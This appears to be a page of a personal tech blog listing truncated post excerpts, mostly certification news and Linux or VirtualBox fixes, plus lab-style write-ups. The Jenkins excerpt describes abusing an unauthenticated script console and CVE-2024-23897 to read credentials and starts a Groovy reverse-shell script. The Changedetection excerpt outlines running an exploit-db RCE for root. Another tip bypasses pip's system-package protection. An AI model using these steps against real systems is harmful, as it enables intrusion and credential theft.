Jithin Alex's Blog, page 2

Passed the CompTIA CloudNetX Certification

Last July 2024, I participated in the CompTIA CloudNetX Certification Beta Exam (CNX-001)and today I received my results and I passed!. As of Feb 2025, the exam is not yet available for purchase and is expected to be open by next month (Q1 2025).

Comptia recommends A minimum of ten years of experience in the IT field and five years of experience in a network architect role, with experience in the hybrid cloud environment. Network+, Security+, and Cloud+ or equivalent experience. As per the exam ...

HP printer driver issue in Linux [FIX]

My HP printer was automatically detected by Ubuntu but was unable to print anything. You might also encounter issues with your HP printer connecting with Linux machine. The following solution may fix this issue.

try the command hp-setup -i 

This HP Linux imaging and Printing System utility will download the required drivers and install the printer successfully.

docker-compose: command not found | Kali Linux [FIX]

 

You might be facing issues in installing docker compose in Kali linux. 

In the latest Kali linux versions, the docker-compose cannot be installed in the transitional way.

However the standalone version can be installed, as mentioned in the installation guide.

To download and install the Docker Compose standalone, run:

sudo curl -SL https://github.com/docker/compose/rel... -o /usr/local/bin/docker-compose

Apply executable permissions to the standalone bi...

error: externally-managed-environment | pip3 install Error [FIX]

 

When a package manager is managing a Python environment,it prevents pip from performing system-wide installation.

You can use  --break-system-packages to bypass this protection.

Add --break-system-packages at the end of pip.

Eg: pip install xyz --break-system-packages

Exploiting Jenkins + CVE-2024-23897

Exploiting Jenkins / CVE-2024-23897

Often the script console is accessible without authentication due to misconfig on http://JENKINS_IP/script

If you don't have access to script console and the version is vulnerable to CVE-2024-23897 , then exploit it to read files and get authentication credentials for Jenkins, (explained below)

Groovy scripts can be executed from the script console.

To get a reverse shell, execute the following script.

For Linux,

r =Runtime.getRuntime()

p =r.exec(["/bin/bash",...

[CVE-2024-32651] Changedetection < 0.45.20 - Remote Code Execution (RCE)

#[CVE-2024-32651] changedetection < 0.45.20 - Remote Code Execution (RCE)

On the target machine, Changedetection v 0.45.1 is running.

A quick search on exploit DB will give the RCE.

https://www.exploit-db.com/exploits/52027

Run the exploit code

Where IP is the attacker IP and port is the listening port of the attacker.

We got the root access.

[FIX] shellter wine: could not load kernel32.dll

After installing shellter & wine, you might encounter the following error.

shellter wine: could not load kernel32.dll, status c0000135

This could be due to the incomplete/broken installation of wine.

You may try to remove the wine prefix(~/.wine) and run again.

VirtualBox VM fullscreen [FIX]

You may tried all methods to make your Linux VM in Virtual Box full screen but nothing worked.Right?

 I also encountered the same issue, so here is the solution that worked for me.

I was using Kali Linux and by default the guest additions comes preinstalled but that didn't solve my problem. I was not getting the window full screen.

The below screenshot is before solving the issue. I tried to install the guest additions manually and noticed that the OS was unable to find the kernel headers. 

 Try the...

Azure Log Analytics Agent will be retired on 31st August 2024. Migrate to Azure Monitor.

Microsoft has announced that the Azure log analytics agent will be retired on 31st August 2024. Customers should migrate to Azure Monitor Agent to monitor their assets.

 Announcement : https://azure.microsoft.com/en-us/updates/were-retiring-the-log-analytics-agent-in-azure-monitor-on-31-august-2024/

Migration guide : https://learn.microsoft.com/en-gb/azure/azure-monitor/agents/azure-monitor-agent-migration

About Azure Monitor Agent : https://learn.microsoft.com/en-us/azure/azure-monitor/agents/age...

Bash Reverse Shell explained.